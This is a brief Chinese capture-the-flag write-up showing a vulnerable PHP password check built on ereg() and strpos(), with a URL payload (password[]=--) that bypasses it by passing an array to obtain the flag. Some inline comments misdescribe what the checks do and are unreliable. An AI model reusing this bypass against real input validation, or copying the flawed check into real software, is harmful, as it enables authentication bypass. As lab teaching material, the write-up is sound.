数组返回NULL绕过

0x01

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
//传入的参数中不能存在a-zA-Z0-9中任意一值
		echo 'You password must be alphanumeric';
	else if (strpos ($_GET['password'], '--') !== FALSE)
//传入的参数必须有--
		die('Flag: ' . $flag);
	else
		echo 'Invalid password';
}
?>

数组绕过

payload:

http://123.206.87.240:9009/19.php?password[]=--

参考链接：
https://blog.csdn.net/qq_36869808/article/details/83538779